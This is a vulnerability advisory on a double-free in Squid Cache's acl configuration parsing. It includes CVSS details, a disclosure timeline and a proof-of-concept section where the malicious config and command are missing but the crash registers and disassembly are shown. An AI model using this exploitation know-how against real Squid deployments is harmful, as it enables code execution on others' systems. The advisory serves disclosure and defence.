

Advisories

Squid Cache vulnerability

6.4

Medium

Discovered by

Andres Roldan

Offensive Team, Fluid Attacks

Summary

Full name

Squid Cache vulnerability

Code name

Morrison

State

Published

Affected product

Squid Cache

Vulnerability name

Double-Free/Arbitrary code execution

Vulnerability type

345. Establish protections against overflows

Remotely exploitable

CVSS v3.1 vector string

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS v3.1 base score

6.4

Exploit available

Yes

CVE ID(s)

Pending

Description

A Double-Free bug was found in Squid versions up to 4.14 and 5.0.5 when processing the acl directive on configuration files, more specifically the first and second addresses.

This may allow arbitrary code execution on a Squid deployment on where the configuration files may be processed from untrusted sources.

Proof of Concept

Create a file with the following contents: heap.conf

Run squid as:

These are the values of the CPU registers at the moment of the crash

$rax : 0x4141414141414141 ("AAAAAAAA"?)
$rbx : 0x0000555555c77f60 → 0x0000000900000009
$rcx : 0x0000555555dcd010 → 0x0003000200010004
$rdx : 0x39
$rsp : 0x00007fffffffe3c8 → 0x00005555558c4f93 →
 <acl_ip_data::FactoryParse(char+0> call 0x555555709d10 <_Z13self_destructv>
$rbp : 0x0000555555e18da0 →
 "1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rsi : 0x0000555555e15e80 → 0x0000000000000000
$rdi : 0x4141414141414141 ("AAAAAAAA"?)
$rip : 0x0000555555af55e0 → <Mem::AllocatorProxy::freeOne(void*)+16>
mov rax, QWORD PTR [rax]
$r8 : 0x0
$r9 : 0x3b4
$r10 : 0x0000555555e19120 → 0x0000000000000000
$r11 : 0x246
$r12 : 0x0
$r13 : 0x0000555555d67aa0 →
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r14 : 0x0000555555e0a220 → 0x0000555555c49f98 → 0x00007ffff787ef20
 → <std::__cxx11::basic_ostringstream<char,+0> mov rax, QWORD PTR
[rip+0x9e619]        # 0x7ffff791d540
$r15   : 0x00007fffffffe450  →  0x0000555555b37e3e  →  "FactoryParse"
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow
RESUME virtualx86 identification]

And the execution stops at:

 0x555555af55d9 <Mem::AllocatorProxy::freeOne(void*)+9> mov rsi, rbp
 0x555555af55dc <Mem::AllocatorProxy::freeOne(void*)+12> pop rbp
 0x555555af55dd <Mem::AllocatorProxy::freeOne(void*)+13> mov rdi, rax
 → 0x555555af55e0 <Mem::AllocatorProxy::freeOne(void*)+16> mov rax,QWORD PTR [rax]
 0x555555af55e3 <Mem::AllocatorProxy::freeOne(void*)+19> mov rax,QWORD PTR [rax+0x28]
 0x555555af55e7 <Mem::AllocatorProxy::freeOne(void*)+23> jmp rax
 0x555555af55e9 nop
 0x555555af55ea nop WORD PTR [rax+rax*1+0x0]
 0x555555af55f0 <Mem::AllocatorProxy::inUseCount()+0> mov    rdi, QWORD
PTR [rdi+0x10]

As the value of RAX is populated using the malicious input configuration, arbitrary command execution is achieved at 0x555555af55e7.

Mitigation

By 2021-03-17 there is not a patch resolving the issue.

References

Vendor page http://www.squid-cache.org/
Full Disclosure announcement https://seclists.org/fulldisclosure/2021/Feb/80

Timeline



Vulnerability discovered

Feb 8, 2021



Vendor contacted

Feb 9, 2021



Vendor replied

Feb 10, 2021



Vendor requested re-testing

Feb 22, 2021



Follow-up with vendor

Feb 22, 2021



Public disclosure

Feb 24, 2021

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